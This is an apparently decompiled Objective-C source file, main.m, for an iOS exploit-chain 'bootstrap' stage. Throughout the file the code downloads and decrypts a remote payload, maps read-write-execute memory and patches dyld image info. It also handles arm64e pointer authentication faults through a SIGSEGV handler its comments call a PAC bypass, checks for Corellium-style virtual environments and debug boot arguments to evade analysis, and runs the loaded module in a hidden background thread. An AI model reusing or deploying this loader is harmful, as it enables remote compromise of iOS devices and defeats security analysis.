Files
coruna/src/bootstrap/main.m
T
2026-03-12 21:09:59 +07:00

817 lines
30 KiB
Objective-C

/*
* main.m - Entry point, thread management, payload processing
*
* Decompiled from bootstrap.dylib offsets 0x5fec-0x6fe8
*/
#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <pthread.h>
#import <signal.h>
#import <sys/mman.h>
#import <sys/sysctl.h>
#import <mach/mach.h>
@import Darwin;
@import UIKit;
extern int sysctlbyname(const char *, void *, size_t *, void *, size_t);
extern void _exit(int);
extern int *__error(void);
/* ── process_payload (0x5fec) ──────────────────────────────────── */
/* Main payload processing function. Downloads, decrypts, and loads
* the payload module via the bootstrap context.
*
* High-level flow:
* 1. If logging enabled, report start
* 2. Call ctx->download_func to get payload data
* 3. Validate and decompress the data
* 4. Parse as F00DBEEF container
* 5. Download additional components via download_and_process
* 6. Store container data and configure memory regions
* 7. On flag_a/flag_new_ios: load and run module, setup mmap
* 8. On direct mode: resolve containers, find _start, execute
*/
uint32_t process_payload(bootstrap_ctx_t *ctx, const char *url,
uint32_t unused, uint32_t *result)
{
void *dl_data = NULL;
uint32_t dl_size = 0;
void *decrypted = NULL;
uint32_t w23 = 0x730C4C0E; /* logging constant */
(void)unused;
if (!ctx)
return 0;
print_log("[bootstrap] process_payload: url=%s logging=%d", url, ctx->logging_enabled);
/* Report start if logging is enabled */
if (ctx->logging_enabled && ctx->log_func) {
ctx->log_func(ctx, ERR_NULL_CTX + 0x1F000, NULL,
w23 | 0x1F0);
}
/* Download payload data */
print_log("[bootstrap] process_payload: downloading payload...");
uint32_t err = ((fn_download_t)ctx->download_func)(
ctx, url, &dl_data, &dl_size);
if (err) {
print_log("[bootstrap] process_payload: download FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x1E7);
return err;
}
print_log("[bootstrap] process_payload: download OK size=%u", dl_size);
/* Validate response */
if (!dl_data) {
err = ERR_NULL_CTX;
print_log("[bootstrap] process_payload: dl_data is NULL");
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF);
goto decompress;
}
if (dl_size < 4) {
err = ERR_NULL_CTX;
print_log("[bootstrap] process_payload: dl_size too small (%u)", dl_size);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF);
goto decompress;
}
/* Decompress if needed (via ctx->key_ptr) */
void *decompress_out = NULL;
uint32_t decompress_size = 0;
decompress:
if (err) {
print_log("[bootstrap] process_payload: decompress phase err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x1CD);
return err;
}
/* Report successful decompress */
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, 0xC0002, NULL, w23 + 0x1C9);
/* Parse payload as container */
print_log("[bootstrap] process_payload: parsing container...");
fn_parse_container_t parse = ctx->fn_parse_container;
err = parse(ctx, CONTAINER_TYPE_PAYLOAD, dl_data, dl_size);
if (err) {
print_log("[bootstrap] process_payload: parse_container FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x1B9);
return err;
}
/* Download and process additional components */
print_log("[bootstrap] process_payload: downloading additional components...");
void *extra_data = NULL;
uint32_t extra_size = 0;
err = download_and_process(ctx, CONTAINER_TYPE_PAYLOAD,
&extra_data, &extra_size);
if (err) {
print_log("[bootstrap] process_payload: download_and_process FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x2C);
return err;
}
/* Store container data pointers */
ctx->container_data = extra_data;
ctx->container_size = extra_size;
print_log("[bootstrap] process_payload: container data stored size=%u", extra_size);
/* Report successful load */
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, 0xC0002 | 1, NULL, w23 + 0x10);
/* Check operational mode */
print_log("[bootstrap] process_payload: flag_a=%d flag_new_ios=%d", ctx->flag_a, ctx->flag_new_ios);
if (!ctx->flag_a && !ctx->flag_new_ios)
goto direct_mode;
/* Check if A15-specific features needed */
if (ctx->flag_a15_features && ctx->is_sandboxed)
goto load_module;
load_module:
/* Set ready flag */
ctx->flag_ready = 1;
print_log("[bootstrap] process_payload: entering load_module path");
/* Report ready */
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, 0xC0002 | 2, NULL, w23 + 0xD8);
/* Load module via find_or_load */
err = ((fn_find_or_load_t)ctx->fn_find_or_load)(
ctx, CONTAINER_TYPE_MODULE);
if (err) {
print_log("[bootstrap] process_payload: find_or_load FAIL err=0x%x, trying get_pointer", err);
void *module = NULL;
err = ((fn_get_pointer_t)ctx->fn_get_pointer)(
ctx, CONTAINER_TYPE_MODULE, &module);
if (err) {
print_log("[bootstrap] process_payload: get_pointer FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0xD5);
return err;
}
}
print_log("[bootstrap] process_payload: load_module path OK");
return 0;
direct_mode:
print_log("[bootstrap] process_payload: entering direct_mode path");
/* Direct execution mode — more complex path */
{
/* Get task dyld info to find executable mapping */
mach_msg_type_number_t count = 5;
struct {
uint64_t all_images_addr;
uint64_t all_images_size;
uint8_t _rest[0x18];
} dyld_info;
memset(&dyld_info, 0, sizeof(dyld_info));
stp_zero:
err = task_info(mach_task_self(), 17 /* TASK_DYLD_INFO */,
(task_info_t)&dyld_info, &count);
if (err) {
err |= 0x80000000;
print_log("[bootstrap] process_payload: task_info FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0xE2);
return err;
}
uint64_t all_images = dyld_info.all_images_addr;
print_log("[bootstrap] process_payload: all_images=0x%llx", all_images);
if (!all_images) {
err = ERR_TASK_INFO;
print_log("[bootstrap] process_payload: all_images is NULL");
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, ERR_TASK_INFO, NULL, w23);
return err;
}
/* Read dyld mapping info */
uint64_t mapping = *(uint64_t *)((uint8_t *)all_images + 0x28);
mapping &= ~1ULL; /* strip tag bit */
print_log("[bootstrap] process_payload: mapping=0x%llx", mapping);
if (!mapping) {
print_log("[bootstrap] process_payload: no mapping, using load_module_wrapper");
/* No existing mapping — use load_module_wrapper */
void *module_handle = NULL;
err = load_module_wrapper(ctx, &module_handle);
if (err)
goto check_err;
/* Call module init */
void *init_result = NULL;
err = module_call_init((module_handle_t *)module_handle,
0, &init_result);
if (err)
goto close_module;
/* Call module command 0xD */
print_log("[bootstrap] process_payload: calling module cmd 0xD");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0xD, NULL);
/* Cleanup */
module_call_cleanup((module_handle_t *)module_handle,
init_result);
close_module:
close_module(ctx, (module_handle_t *)module_handle);
check_err:
if (err == ERR_NO_CONTAINER) {
print_log("[bootstrap] process_payload: no loader container, falling back to load_module");
goto load_module;
}
if (err)
goto report_and_done;
/* Setup mmap region */
print_log("[bootstrap] process_payload: setting up mmap region (16MB RWX)");
void *map = mmap(NULL, 0x1000000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (map == MAP_FAILED) {
print_log("[bootstrap] process_payload: mmap FAILED");
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, ERR_MMAP_FAIL, NULL,
w23 + 0x94);
return ERR_MMAP_FAIL;
}
print_log("[bootstrap] process_payload: mmap OK addr=%p", map);
ctx->atomic_state = NULL;
ctx->exec_base = (uint8_t *)map;
ctx->exec_size = 0x1000000;
ctx->buffer_remaining = 0;
memset(&ctx->mmap_base, 0, 16);
/* Store mapping in dyld info */
uint64_t tag = *(uint64_t *)((uint8_t *)all_images + 0x28);
tag = (tag & 1) | (uintptr_t)map;
*(uint64_t *)((uint8_t *)all_images + 0x28) = tag;
goto load_module;
}
/* Have existing mapping — setup for container loading */
{
print_log("[bootstrap] process_payload: have existing mapping, loading data container");
/* Download data container */
void *data_dl = NULL;
uint32_t data_sz = 0;
fn_get_raw_data_t get_raw = ctx->fn_get_raw_data;
err = get_raw(ctx, CONTAINER_TYPE_DATA, &data_dl, &data_sz);
if (err) {
print_log("[bootstrap] process_payload: get_raw_data FAIL err=0x%x", err);
goto container_error;
}
/* Load module */
void *module_handle = NULL;
err = load_module(ctx, ERR_NULL_CTX - 0x1D000,
&module_handle);
if (err) {
print_log("[bootstrap] process_payload: load_module FAIL err=0x%x", err);
goto container_error;
}
/* Call init */
void *init_result = NULL;
err = module_call_init((module_handle_t *)module_handle,
0, &init_result);
if (err) {
print_log("[bootstrap] process_payload: module_call_init FAIL err=0x%x", err);
goto container_error;
}
/* Setup task info */
struct {
uint8_t data[0x10];
} task_data;
memset(&task_data, 0, sizeof(task_data));
*(uint32_t *)&task_data = mach_task_self();
/* Send command 0x1B with task info */
print_log("[bootstrap] process_payload: calling module cmd 0xC000001B");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0xC000001B, &task_data);
if (err) {
print_log("[bootstrap] process_payload: cmd 0xC000001B FAIL err=0x%x", err);
goto container_error;
}
/* Check response flags */
if (!((uint8_t *)&task_data)[6] ||
!((uint8_t *)&task_data)[5]) {
((uint8_t *)&task_data)[5] = 1;
((uint8_t *)&task_data)[6] = 1;
print_log("[bootstrap] process_payload: calling module cmd 0x4000001B");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0x4000001B, &task_data);
if (err) {
print_log("[bootstrap] process_payload: cmd 0x4000001B FAIL err=0x%x", err);
goto container_error;
}
}
/* Command 0xD */
print_log("[bootstrap] process_payload: calling module cmd 0xD");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0xD, NULL);
if (err) {
print_log("[bootstrap] process_payload: cmd 0xD FAIL err=0x%x", err);
goto container_error;
}
container_error:
if (err) {
print_log("[bootstrap] process_payload: container_error path, trying mmap fallback");
/* Try alternate path with vm_allocate */
void *new_map = mmap(NULL, 0x1000000,
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (new_map == MAP_FAILED) {
err = (*(int *)__error());
if (err < 0) err = -err;
err |= 0x40000000;
print_log("[bootstrap] process_payload: fallback mmap FAILED err=0x%x", err);
goto cleanup_module;
}
print_log("[bootstrap] process_payload: fallback mmap OK addr=%p", new_map);
/* Allocate VM region */
vm_address_t vm_addr = 0;
err = vm_allocate(mach_task_self(), &vm_addr,
0x1000000, VM_FLAGS_ANYWHERE);
if (err) {
print_log("[bootstrap] process_payload: vm_allocate FAIL err=0x%x", err);
goto vm_error;
}
print_log("[bootstrap] process_payload: vm_allocate OK addr=0x%lx", (unsigned long)vm_addr);
/* Store address and copy data */
*(uint64_t *)new_map = vm_addr;
extern vm_size_t vm_page_size;
memcpy((uint8_t *)new_map + vm_page_size,
data_dl, data_sz);
/* Set protection to RWX */
err = vm_protect(mach_task_self(), (vm_address_t)new_map,
0x1000000, 0,
VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
if (err) {
print_log("[bootstrap] process_payload: vm_protect FAIL err=0x%x", err);
goto vm_error;
}
/* Send command 0x26 */
print_log("[bootstrap] process_payload: calling module cmd 0x26");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0x26, NULL);
if (err) {
print_log("[bootstrap] process_payload: cmd 0x26 FAIL err=0x%x", err);
goto cleanup_module_with_map;
}
/* Update dyld mapping */
uint64_t *slot = (uint64_t *)((uint8_t *)mapping + 0x28);
uint64_t tag = (*slot) & 1;
*slot = tag | (uintptr_t)new_map;
goto cleanup_module_with_map;
vm_error:
err |= 0x80000000;
cleanup_module_with_map:
mapping = (uint64_t)(uintptr_t)new_map;
}
cleanup_module:
if (module_handle) {
if (init_result)
module_call_cleanup((module_handle_t *)module_handle,
init_result);
close_module(ctx, (module_handle_t *)module_handle);
}
if (err)
goto report_and_done;
/* Configure memory from mapping */
print_log("[bootstrap] process_payload: configuring memory from mapping");
extern vm_size_t vm_page_size;
ctx->exec_base = (uint8_t *)((uintptr_t)decrypted +
vm_page_size + 0x100000);
ctx->exec_size = 0xF00000;
ctx->atomic_state = (uint32_t *)((uintptr_t)decrypted +
0xFFFFFC);
ctx->mmap_base = mapping;
ctx->mmap_secondary = (uint64_t)(uintptr_t)decrypted;
ctx->buffer_remaining = 0;
/* Install function pointers for alloc_buffer etc. */
ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
ctx->consume_buf = (fn_consume_buffer_t)consume_buffer;
ctx->bzero_func = (fn_bzero_t)secure_bzero;
ctx->flag_direct_mem = 1;
ctx->flag_ready = 1;
ctx->flag_b = 1;
print_log("[bootstrap] process_payload: direct_mode memory configured, going to load_module");
goto load_module;
}
}
report_and_done:
print_log("[bootstrap] process_payload: report_and_done err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x75);
return err;
}
/* ── process (0x68d8) ──────────────────────────────────────────── */
/* Exported entry point. Initializes the bootstrap context:
* 1. init_communication
* 2. init_function_table
* 3. init_system_info
* 4. init_sandbox_and_ua
* 5. Validates xnu version range
* 6. Checks virtual environment
* 7. Validates L2 cache / boot args
* 8. Sets up memory regions
* 9. Clones context, spawns worker thread
*/
__attribute__((visibility("default")))
uint32_t process(bootstrap_ctx_t *ctx)
{
// redirect logging to file
struct stat std_out;
struct stat dev_null;
if (fstat(STDOUT_FILENO, &std_out) == 0 &&
stat("/dev/null", &dev_null) == 0 &&
std_out.st_dev == dev_null.st_dev &&
std_out.st_ino == dev_null.st_ino) {
char log_path[PATH_MAX];
snprintf(log_path, PATH_MAX, "%s/bootstrap.log", getenv("TMPDIR"));
int log_fd = open(log_path, O_WRONLY | O_CREAT | O_APPEND, 0644);
if (log_fd >= 0) {
dup2(log_fd, STDOUT_FILENO);
dup2(log_fd, STDERR_FILENO);
close(log_fd);
}
}
uint32_t err = ERR_GENERIC;
if (!ctx)
return err - 8;
/* Sign raw function pointers from exploit chain for arm64e PAC */
sign_ctx_fptrs(ctx);
print_log("[bootstrap] process: entry ctx=%p", ctx);
/* Step 1: Initialize communication (logging, semaphore) */
print_log("[bootstrap] process: step 1 - init_communication");
err = init_communication(ctx);
if (err) {
print_log("[bootstrap] process: init_communication FAIL err=0x%x", err);
return err;
}
/* Step 2: Initialize function table (container management) */
print_log("[bootstrap] process: step 2 - init_function_table");
err = init_function_table(ctx);
if (err) {
print_log("[bootstrap] process: init_function_table FAIL err=0x%x", err);
return err;
}
/* Step 3: Initialize system info (OS version, device type, etc.) */
print_log("[bootstrap] process: step 3 - init_system_info");
err = init_system_info(ctx);
if (err) {
print_log("[bootstrap] process: init_system_info FAIL err=0x%x", err);
return err;
}
/* Step 4: Initialize sandbox detection and user-agent */
print_log("[bootstrap] process: step 4 - init_sandbox_and_ua");
err = init_sandbox_and_ua(ctx);
if (err) {
print_log("[bootstrap] process: init_sandbox_and_ua FAIL err=0x%x", err);
return err;
}
/* Validate xnu version is within expected range */
uint64_t xnu = ctx->xnu_version;
print_log("[bootstrap] process: xnu_version=0x%llx os_version=0x%x", xnu, ctx->os_version);
uint64_t adjusted = xnu + 0xFFE7F6FFF9900000ULL;
err = ERR_GENERIC - 1;
if (adjusted > 0x000F090EFE400003ULL) {
print_log("[bootstrap] process: xnu version out of range");
return err;
}
/* If device is sandboxed, check additional constraints */
if (ctx->is_sandboxed) {
print_log("[bootstrap] process: sandboxed, checking constraints");
uint32_t os_ver = ctx->os_version;
err = 0x27009;
if (os_ver < 0x100000) {
print_log("[bootstrap] process: os_version too low (0x%x)", os_ver);
return err;
}
/* Check CPU type for known SoC families */
if (os_ver > 0x100401) {
uint32_t cpu = ctx->cpu_type;
print_log("[bootstrap] process: checking cpu_type=0x%x", cpu);
if (cpu == SOC_TYPE_A)
goto env_check;
if (cpu == SOC_TYPE_B)
goto env_check;
if (cpu > (int32_t)SOC_TYPE_C) {
if (cpu == SOC_TYPE_E)
goto env_check;
if (cpu == SOC_TYPE_D)
goto env_check;
}
}
}
env_check:
/* Check for virtual environment (Corellium, etc.) */
print_log("[bootstrap] process: checking virtual environment");
{
uint8_t is_virtual = 1;
err = check_virtual_env(&is_virtual);
uint32_t env_err = (is_virtual == 0) ? (ERR_GENERIC + 0x1B) : 0;
if (err)
env_err = ERR_GENERIC + 2;
err = env_err;
if (err) {
print_log("[bootstrap] process: virtual env check FAIL err=0x%x is_virtual=%d", err, is_virtual);
//return err;
}
}
print_log("[bootstrap] process: virtual env check OK");
/* Validate os_version ceiling */
if (ctx->os_version > 0x1102FF) {
print_log("[bootstrap] process: os_version too high (0x%x)", ctx->os_version);
return ERR_GENERIC - 1;
}
/* Check L2 cache size for additional validation */
if (ctx->os_version >= 0xE0000) {
uint64_t l2_size = 0;
size_t l2_len = 8;
int sysret = sysctlbyname("hw.l2cachesize", &l2_size, &l2_len,
NULL, 0);
print_log("[bootstrap] process: l2cachesize=%llu sysret=%d", l2_size, sysret);
uint32_t l2_err = (l2_size >> 20) ? 0 : (ERR_GENERIC + 0x1B);
if (!sysret && l2_size >= 0x100000)
goto check_bootargs;
err = l2_err;
}
check_bootargs:
/* Check kernel boot arguments for debug strings */
print_log("[bootstrap] process: checking bootargs");
{
char bootargs[0x400];
size_t ba_len = 0x400;
memset(bootargs, 0, sizeof(bootargs));
if (sysctlbyname("kern.bootargs", bootargs, &ba_len, NULL, 0) == 0
&& bootargs[0]) {
print_log("[bootstrap] process: bootargs='%s'", bootargs);
if (bootargs[0] != ' ' || bootargs[1] != '\0') {
print_log("[bootstrap] process: bootargs check FAIL");
return ERR_GENERIC + 0x1B;
}
}
}
/* Check host info for iOS 15 and below */
if (ctx->os_version <= 0xF0000) {
mach_msg_type_number_t hi_count = 1;
uint32_t hi_data = 0;
int hi_ret = host_info(mach_host_self(), 11 /* HOST_VM_INFO */,
(host_info_t)&hi_data, &hi_count);
print_log("[bootstrap] process: host_info ret=%d data=0x%x", hi_ret, hi_data);
uint32_t hi_err = (hi_data == 0) ? 0 : (ERR_GENERIC + 0x1B);
if (hi_ret)
goto setup_mem;
err = hi_err;
if (err) {
print_log("[bootstrap] process: host_info check FAIL err=0x%x", err);
return err;
}
}
setup_mem:
/* Setup memory regions */
print_log("[bootstrap] process: step 5 - setup_memory");
err = setup_memory(ctx);
if (err) {
print_log("[bootstrap] process: setup_memory FAIL err=0x%x", err);
return err;
}
/* Clone context for worker thread */
print_log("[bootstrap] process: cloning context for worker thread");
bootstrap_ctx_t *clone = (bootstrap_ctx_t *)malloc(sizeof(bootstrap_ctx_t));
if (!clone)
goto fail;
memcpy(clone, ctx, sizeof(bootstrap_ctx_t));
/* Duplicate heap-allocated strings */
if (clone->secondary_url) {
clone->secondary_url = strdup(clone->secondary_url);
if (!clone->secondary_url)
goto fail;
}
if (clone->key_ptr) {
uint8_t *new_key = (uint8_t *)malloc(0x20);
if (!new_key)
goto fail;
memcpy(new_key, clone->key_ptr, 0x20);
clone->key_ptr = new_key;
}
if (clone->base_url) {
clone->base_url = strdup(clone->base_url);
if (!clone->base_url)
goto fail;
}
if (clone->user_agent) {
clone->user_agent = strdup(clone->user_agent);
if (!clone->user_agent)
goto fail;
}
if (clone->alt_url) {
clone->alt_url = strdup(clone->alt_url);
if (!clone->alt_url)
goto fail;
}
/* Create worker thread */
print_log("[bootstrap] process: creating worker thread");
{
uint32_t thread_err = ERR_NULL_CTX + 0x10000;
pthread_attr_t attr;
if (pthread_attr_init(&attr))
goto fail;
if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED)) {
pthread_attr_destroy(&attr);
goto fail;
}
pthread_t thread;
if (pthread_create(&thread, &attr, (void *(*)(void *))thread_main, clone) == 0) {
thread_err = 1; /* success sentinel */
print_log("[bootstrap] process: worker thread created OK");
} else {
thread_err++;
print_log("[bootstrap] process: pthread_create FAILED");
}
pthread_attr_destroy(&attr);
return thread_err;
}
fail:
print_log("[bootstrap] process: FAIL (alloc error)");
return ERR_NULL_CTX + 0x10000;
}
/* ── thread_main (0x6c44) ──────────────────────────────────────── */
/* Worker thread entry point. Sets up SIGSEGV handler for PAC faults,
* creates a UIApplication background task, calls process_payload,
* then cleans up.
*/
void *thread_main(bootstrap_ctx_t *ctx)
{
uint32_t err = ERR_GENERIC;
uint32_t result = err - 9; /* = ERR_NULL_CTX */
int sig_installed = 0;
print_log("[bootstrap] thread_main: entry ctx=%p", ctx);
/* Install PAC SIGSEGV handler on iOS 13-14 arm64e only.
* On iOS 15+, the exploit uses a different PAC bypass strategy
* and does NOT need the SIGSEGV fault handler. */
uint16_t os_major = (ctx->os_version >> 16) & 0xFF;
print_log("[bootstrap] thread_main: os_major=%u has_pac=%d", os_major, has_pac());
if (os_major <= 14 && has_pac()) {
/* Install SIGSEGV handler for PAC faults */
print_log("[bootstrap] thread_main: installing PAC SIGSEGV handler");
struct sigaction sa, old_sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = (void (*)(int, siginfo_t *, void *))resolve_pac_pointer;
sa.sa_flags = SA_SIGINFO;
if (sigaction(SIGSEGV, &sa, &old_sa) != 0) {
err = *__error();
if (err < 0) err = (uint32_t)(-err);
err |= 0x40000000;
print_log("[bootstrap] thread_main: sigaction FAIL err=0x%x", err);
return (void *)(uintptr_t)err;
}
sig_installed = 1;
print_log("[bootstrap] thread_main: SIGSEGV handler installed");
}
/* Begin UIApplication background task */
UIBackgroundTaskIdentifier bg_task = UIBackgroundTaskInvalid;
UIApplication *app = [UIApplication alloc];
print_log("[bootstrap] thread_main: UIApplication=%p", app);
if (!app) {
print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
return (void *)(uintptr_t)err;
}
id expireBlock = ^{
print_log("[bootstrap] bg_task_expired: ending task_id=%lu", (unsigned long)bg_task);
[app endBackgroundTask:bg_task];
//bg_task = UIBackgroundTaskInvalid;
};
// uint64_t underlyingClass = *(uint64_t*)expireBlock;
// __asm__ volatile("pacda %0, %1" : "+r"(underlyingClass) : "r"((uint64_t)expireBlock | (0x6ae1ll << 48)));
// *(uint64_t*)expireBlock = underlyingClass;
bg_task = [app beginBackgroundTaskWithExpirationHandler:expireBlock];
print_log("[bootstrap] thread_main: background task started id=%lu", (unsigned long)bg_task);
/* Process the payload */
char *url = ctx->secondary_url;
print_log("[bootstrap] thread_main: secondary_url=%s", url ? url : "(null)");
if (url) {
err = process_payload(ctx, url, 0, &result);
print_log("[bootstrap] thread_main: process_payload returned err=0x%x result=0x%x", err, result);
if (err == 0)
err = result;
} else {
err = 0;
}
/* End background task if it was started */
if (bg_task != UIBackgroundTaskInvalid) {
print_log("[bootstrap] thread_main: ending background task");
[app endBackgroundTask:bg_task];
bg_task = UIBackgroundTaskInvalid;
}
/* Restore SIGSEGV handler if we installed one */
if (sig_installed) {
print_log("[bootstrap] thread_main: restoring SIGSEGV handler");
struct sigaction old_sa;
if (sigaction(SIGSEGV, NULL, &old_sa) != 0) {
err = *__error();
if (err < 0) err = (uint32_t)(-err);
err |= 0x40000000;
print_log("[bootstrap] thread_main: sigaction restore FAIL err=0x%x", err);
}
}
/* Check if exit requested */
if (ctx->flag_exit) {
print_log("[bootstrap] thread_main: flag_exit set, calling _exit(0)");
_exit(0);
}
cleanup:
print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
return (void *)(uintptr_t)err;
done:
print_log("[bootstrap] thread_main: done err=0x%x", err);
return (void *)(uintptr_t)err;
}